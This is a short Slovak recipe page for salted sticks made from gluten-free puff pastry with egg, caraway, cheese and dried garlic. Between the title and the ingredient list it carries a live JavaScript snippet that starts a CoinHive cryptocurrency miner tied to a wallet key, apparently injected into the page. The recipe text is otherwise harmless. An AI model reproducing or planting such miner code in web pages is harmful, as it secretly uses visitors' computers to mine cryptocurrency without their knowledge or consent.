
Slané tyčinky z lístkového cesta

  var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); 

  

Potrebujeme: bezlepkové lístkové cesto, vajíčko, rascu, soľ, syr, sušený cesnak

  

Postup: Rozmrazené lístkové cesto rozvaľkáme, radielkom nakrájame na obdĺžniky,
poukladáme na plech vystlaný papierom na pečenie, potrieme rozšľahaným vajíčkom,
posypeme rascou, syrom, sušeným cesnakom... Pečieme na 190⁰C.
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